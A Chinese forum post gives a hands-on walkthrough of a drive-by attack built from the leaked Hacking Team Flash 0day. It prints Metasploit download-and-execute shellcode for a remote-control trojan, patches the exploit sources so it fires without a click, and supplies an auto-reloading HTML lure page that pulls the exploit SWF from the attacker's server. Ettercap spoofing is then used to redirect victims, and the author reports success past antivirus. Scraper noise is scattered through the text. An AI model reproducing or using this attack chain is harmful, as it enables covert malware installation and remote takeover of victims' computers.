|
& `- z0 e3 D- r6 ~% V# H
三、flash 0day之手工代码修改制作下载者实例入侵演示
" B4 B( n& e( ^2 W: m . i* Y0 G5 r, [6 E% ^7 E# T8 }4 {
3 x9 I9 a% i; s( Q
利用到的工具：
! m8 g) Y7 h% ?' c * [# k4 A- |+ Y' o9 ]3 l
% t2 q, E" l7 @- @6 h/ O% s Msf
* {* B. e! d$ O5 \2 h 4 h% w! [( `9 ? {: H5 r5 ]- \
" ]5 P/ [! l& u7 O Ettercap
# y1 S3 F/ S4 Q- S( K1 H+ e& }. ^ 0 ]1 j0 e- O+ N! H& H& ^% S' |) h
3 e# g# P. v8 S# K# Q& ~
Adobe Flash CS6 2 N. Y3 V: h1 l; H& q! Z
) `. _) z, N4 V! \# ]: M" g' A
% Q3 e4 r! |7 p1 X. w
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 ) K$ s" s; l8 _% V! M% L' V
2 a; l' s* |) y2 R! r: h) h: |3 D5 M7 ^; |$ o9 F, E
下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options
/ }9 s6 o( Z3 P1 F( L4 D- h
2 }+ r7 w6 }5 M8 x1 o$ v% ~+ V# f9 A2 B+ r
如图： 2 u# q2 W" W+ i# d
& z( S; U$ ]9 N0 I; _4 h4 l( T0 @
" W$ N3 X* j. _+ X6 X7 I / n5 X8 m9 k) |; D3 r7 m% g
7 _$ x! H3 a$ K2 `* ^
 0 w5 u6 O# Q( z4 L! `
* ~1 c# ?/ u3 I+ s9 J
% t& [/ L" I4 C9 p/ Z, C) N 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 6 E$ |8 V X4 N1 L
$ Z; G+ x5 h9 D9 V! \+ n
A# J% i V6 g1 A2 `/ J, T
3 W, p$ d+ b3 F" n, A. ~ + v ~- K* @9 i( A$ \; C$ b/ d
( Y2 U/ v: ^4 z. u 
. ]" s8 X$ F% {; G; P. \. W # _' @: H- |8 k) t/ f; |! z+ j
! R2 }: h7 `2 t0 D' K! J- K 然后执行generate -t dword生成shellcode，如下：
: {$ z; G+ }6 }, `( n4 U
9 |$ Y( @3 ~, d3 |0 ^& M% c* }) D w
( L, H2 J" d% ]! [. T 
0 s4 ^* J# k9 Y
- e# \& n! ~( V- E7 c; W
+ x6 c* M, k$ L5 d 复制代码到文本下便于我们一会编辑flash exp，如下：
# `/ P$ J7 M( H' f8 ` G d
: N0 G3 I O& S5 R2 t* l" a; g8 f" _7 l3 r- H
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
/ y9 I6 ^+ f+ w+ X# o. f, k / _2 J+ i* C# d" p o }
6 e9 r: Z. j2 R5 \! R) m1 r
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
6 O4 a+ K0 D- q4 Y \! s% p) X/ @: m
/ @8 v: B& r4 l# u3 Y1 O" i; ? N" \# e0 N" W( d5 u& S
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
( G4 o# ? p3 J" N
2 c. w h$ v+ `$ b1 v& L& d$ n1 D o7 X* S8 J- R' ~ B
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ; L8 `$ m0 t3 }0 c
+ \- h# D, d& ]
, \2 Q1 C9 z( |0 @% g6 [
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, % C+ L1 x' h% F4 G
* {7 u* [8 K8 l, I
9 r" A; }- \- ?! H8 u( t" e
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, $ P6 T- _) Z( b+ Y
7 }+ N+ }& A3 a& m
% j9 R! H4 `* a 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, . B: i- s- ^( O* u W
) J8 Y; s0 I% g* _! U7 }0 {
# B+ }7 y7 R$ d, h7 l1 A0 @# ~
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
" M# a% g% s! Q: p4 {; [" j * {, l% M$ g+ A; q
; k# A, c6 a' E, | 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ) a \7 `" |; K) F) m+ u
; A$ f+ Y# M3 L" i* E+ i
2 ~* z9 l, l j+ ?$ f 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, , ]+ }9 ?$ H* T+ \
$ d+ \! @0 |$ t6 G c* {- P) [
& E, f: u7 u& G6 S 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
' l5 f5 f1 i" {5 [7 k7 B( T # I3 q! }- F3 G! g p
, g. |" e$ `. k5 [: R* _( ^8 K- t
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
+ `1 P7 P6 S' S$ o% B& a
" L% w. L8 D4 y
' g* b! r( V# y+ M( y 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 b+ r- _7 |/ E: W$ W8 Z7 q5 H8 |
& t1 A: Q; j2 ?* r* {
/ R* B$ Z% J$ V# J! D
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
% c' O/ R& i9 j ; q$ g! S \8 ^8 I. T) s
" F% z: N( s* ]5 ~
1 f1 Q8 ?' L! F8 d/ \: V
8 {; N0 Y9 ]# W9 c
5 u: E, e0 e, e4 `! R L3 P4 }
) R4 L4 Q' H: y/ \6 F
+ [1 W4 U2 M' S
% u2 ~7 U: [3 q# P# I1 G# H( K' K 下面我们来修改flash 0day exp，需要修改三个文件，分别为： ; d) A: I9 K, g, c" X7 q' L
" t" N8 D) s. V& c) w9 u
, s! j8 d! o7 Q! \& L/ w) n  % F& _- [' o2 {, x
. n0 I) z7 P3 h. n0 m
. [; j9 P4 e: q/ Y4 r* E# I0 z 先修改ShellWin32.as，部分源代码如图：
) m1 R& F& g, i; R" ]+ K3 }
& C% g1 j1 M1 ?
3 X, b. a) c# ^6 s# l" x  " M! Y+ M0 Z& R
) v' V2 a/ U; o8 F0 m9 P# T
7 r( G3 p& n4 J3 n, N/ V 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： $ I- r8 ^' G. |% b
- |' D+ o; I( o" H2 W6 V
+ g4 T4 E2 H# n- A, H. y
: E$ @5 d: b5 ]" X' y" l * a2 g* V5 I1 r7 J0 N& G
7 s) h: s. Y. Y L0 M
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：
2 u, I. g6 h" R x, M. B
& q* w3 L' y1 X1 Z# `6 u
5 F/ [& k% G" d( }* G7 d3 a6 P 
& }0 |( f/ R8 _/ A# e0 w1 z
. I, m' p! I) w$ {, B, m1 O. W2 \ u& l- L1 X! V M
换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
/ @( i6 @2 ]# S' `7 l# X6 P* }
6 |6 H* h' m0 i, ]2 A. |! z* w
! u- w" Y1 a# i3 U) M- V
3 L: g- d# z5 X ) j8 H' t$ `, _; p/ h, S
. o; x( F. _* ]3 X5 T6 j* t 5 |: N$ h+ T% p% u" ?1 J7 L7 E
0 U9 U) D! [# u8 F7 o m5 z) n& u/ z% r" N# K6 n& |& j
 9 E$ I$ A5 r6 t
) w3 ?3 T" X) o. F: F$ K2 y/ V1 Z
( }# h0 u: E a, @! K U$ i 然后点保存，下面我们来编译一下，打开 4 y( c6 G* _2 M
$ G9 y- ?6 m2 P# y, F! T' u
! h Z# `3 L$ T% y* s exp1.fla然后点文件-发布，看看编译没错误 , f% c8 N" w1 | a9 W
8 e0 K) D7 @: V- u. f. j
% p* L! F- T9 o) @ n $ n$ J& }: A3 Y% u
" y9 h. L1 O' C [1 Q8 _0 W
Y1 Z& c- \) J4 X 6 M/ B: ]4 N6 q/ ]0 K7 A# e {6 z
, v; D6 K. `+ d ~
% |3 ]1 D/ O/ }9 s7 q- V
7 r# q8 Z6 G( f( l' U 3 T2 ?8 [! f2 ?9 ^& S# L, l2 Z7 j% f
y$ D& \; m& l" o1 R
 ) k: B, C* R" O* J! V# x' z" T
% _' y6 v! _/ F# x
; }/ i) h' g' o 然后我们把生成的
& u, [1 x" X" s7 A$ l( D# {4 C5 y6 U
3 ?$ x3 l/ Y' c1 I8 q2 V' X' m3 q6 L- a: h
exp1.swf丢到kailinux 的/var/www/html下：
. {7 _3 q8 R$ e, H* `' i5 p K
8 ]; U* ]+ B4 j: ?. b0 z6 h l% b: D- D- \. N0 M6 i$ Q8 T
然后把这段代码好好编辑一下
$ _6 W# h9 ]+ }& v 9 b; }7 t8 L, J( _( |! `; R! c
1 n8 V' P5 r- }# q4 F/ t
3 J3 n1 | y9 |" ~# I/ E / O1 X/ b+ u, ~) Q- d3 W5 i
" @2 v8 c) [/ ~; w, m8 z F x q2 \ 1 |9 K2 U) D9 A. u/ |( X
1 ` D$ h' U" \* K* I. ^6 v
1 Y1 | W( n/ H3 L1 w% T4 @3 D& I
6 F: _. b0 B: |, k7 M 9 t O( E2 W. p: ?. f
# f# n' t6 I8 ] F1 j
( r6 `; a- c- a# x6 F$ q! K F 3 V1 x% J( O8 g, c, ~3 i( U) R
; m& {! ~( W1 l# I
- U8 G0 M, f# S1 c
( ]2 p. a2 b; J! S* T& s3 T W
0 i0 H' q" n/ y% z2 {2 f * o/ q; j x: R
; K0 W2 {6 l9 j* M0 F2 v9 p) j5 X1 I. U
<!DOCTYPE html>
/ I8 X+ h! c, F8 s) o E: K 3 h( m7 K/ n4 A# @, C$ p
# k1 f; O, }, y6 d% v- {) G <html>
) u& z. c' v5 G R, G4 N* ?8 k/ z0 d 6 @" k& f8 A; j$ u7 g2 _
1 {$ i: w3 [( h/ s' B' t
<head>
8 l% L3 k: q% t* Q2 f0 P 1 A2 _0 j7 z2 }$ Q: I7 E
) X" f: p% G2 A( n <meta http-equiv="Content-Type" content="text/html;
1 O. Q, ~6 T' {2 ] 0 k; o7 C* \/ h$ w! v6 R
% C+ y% H2 o/ E3 ], p$ c charset=utf-8"/>
( R2 H6 ~% V6 n$ @, v# h3 x+ |3 s ; G7 D. Q/ ~; O
- B) g7 b) F7 c/ O7 D
</head> 6 l z9 Z# L$ P2 V, u% m$ C
1 R2 u* ]. x; v6 T0 |
. F1 {. [- b0 [5 g; i
<body>
$ o$ {( M! {4 V. U4 d1 H4 d
$ |2 E2 h# X4 z' C0 P
9 w- e8 X* T6 k1 z \/ a7 C <h2> Please wait, the requested page is loading...</h2>
7 _" y& C# u5 l : n8 v1 B, }, C
. u5 k7 ]3 d4 t. ]; |
<br> 6 B, `" j9 c" F. Y" q/ t
1 v9 | r; O) l& P
: z' H! ~5 t1 a1 j* Q <OBJECT ! q$ i* t. @4 V( R
' _; Y _. X H$ \8 v& r- H: v
1 [5 {$ U% O# N. m classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie , s9 N) E. W# m$ e- m4 c
* w/ a4 p9 e2 P
/ u7 Y, U; G* d- \. J
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ) B8 A6 W* |) R- x( h& l/ u# A
) h- U$ m( Q6 n1 L6 j1 Q }" ^0 X' r. h
</body> . P3 @+ D! I1 x$ G
9 S0 G" r$ Y$ {; i3 p( K7 s* i9 z8 M
* M8 {1 o6 F+ e9 ~" I
<script>
Q( C, ?* T1 d9 R% C 7 J( T( S3 L7 c5 c
4 _ i5 Q' l6 g7 f- d7 X3 J setTimeout(function () { * ]6 e% \1 w' M! W' v% |# L. N& Q
4 D; K5 H2 a0 E, ^# V# u. c" Q
) M" l! R2 f- L7 `7 O
. H' M( w! y( e+ ^* c% i
' U3 L O+ u/ j4 t$ l# I( d. J8 z4 R, G2 B% B
window.location.reload(); ) l% i# ^4 W1 _
/ H6 s$ R; H" W
- p0 u9 Y9 T& x+ ]# x }, 10000);
) `1 X5 U/ x9 U R3 T* M4 J1 z
9 K: M: i% x3 C0 V
' A: ~# x9 v8 K$ |9 M 9 H, Q- C6 N f( c
0 V e+ Y+ i; t5 S4 X
$ E# J8 W* X; T6 Q8 H. m8 X8 O
</script>
; d+ {. q4 ~3 p1 v' J- p
( i. H* {) e4 T) k" z
8 ^# k5 D# X/ Z I </html> 8 h3 d2 d0 w# b: z8 F' f
$ E& g+ j9 D% R2 ^+ \
+ g' K$ Q$ z3 A! ?# t$ X* H
8 ^1 @' C0 k; G; }
& K" B- f4 U, E( i, K/ x" D2 U
0 B% N/ b# d0 [. s- d" ?* x 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： % [0 ?' q9 J( u' C; l# @, C
( }" s2 ?+ i% m' h0 O0 B
5 y5 |2 R# U1 d5 S( }& i/ i 
% v) ~) h4 r9 V/ _ f4 d, H3 K ; F; a# t- J1 v1 h7 @; W% y- W
0 i! }$ ]5 H( \* b k, u8 j
l* A8 o1 c N" L4 F 7 J5 L4 Q4 |& X, B" D
\ t4 A/ O: N, |, V; `; } " q% B; f \- u7 L$ R; C+ |
5 y5 S! ~" {/ W; P2 |3 `5 W/ X* @0 g$ \! _6 E
|8 D5 ]" d8 V, } 9 i) J# U6 B8 Z% d" }$ p
- Z- M9 ^2 ]% H: S/ z3 s) K
/ D- a" Q, q4 }8 T* K6 Z
& Y" ^7 M8 p# U' P5 S9 [ n* \& D
C$ n) D" N0 B6 l6 x* ?. y
下面我们用ettercap欺骗如图：
! k% h0 L5 k8 }6 q5 E# d4 C 7 F: c8 S0 P+ J, \3 \# |
; v! W& ?' o: e  ( J- r) L: }6 T2 V f
3 J! w! a+ i' o, U- y
+ Q" A, a- i" v* \% N3 j3 c
! A9 R2 ?0 ~: q! O! }' o4 Y
7 @& k7 ?5 x) d# K, M; F
2 E) u/ y! y4 ? s 下面我们随便访问个网站看看： % E' D0 O' f$ r, R0 _ Z2 y
: B3 S1 e+ {6 [8 o" M, L: |, i( c8 |0 z( _# X1 n( X+ k
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
2 D4 ?# ^' _* |/ S
, B5 z' ^ h0 ^: N- X3 X# k8 E& N; U& f. p @, N
 1 P6 G/ Z3 r, R: N) u/ k2 Q" p
. B7 N5 _5 W! C8 p/ b( z |& B y
7 E% n2 |6 ]4 A: X* G" c 我们看另一台，
2 \! Y$ Q4 _' s* p* u
4 J* b, x+ d8 _9 K8 L# ?- y2 t9 w6 [) F/ _9 |! g! h6 g; i
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。
5 w( Y6 S3 |0 ? | 
发表于 2018-10-20 20:28:55
收藏
支持
反对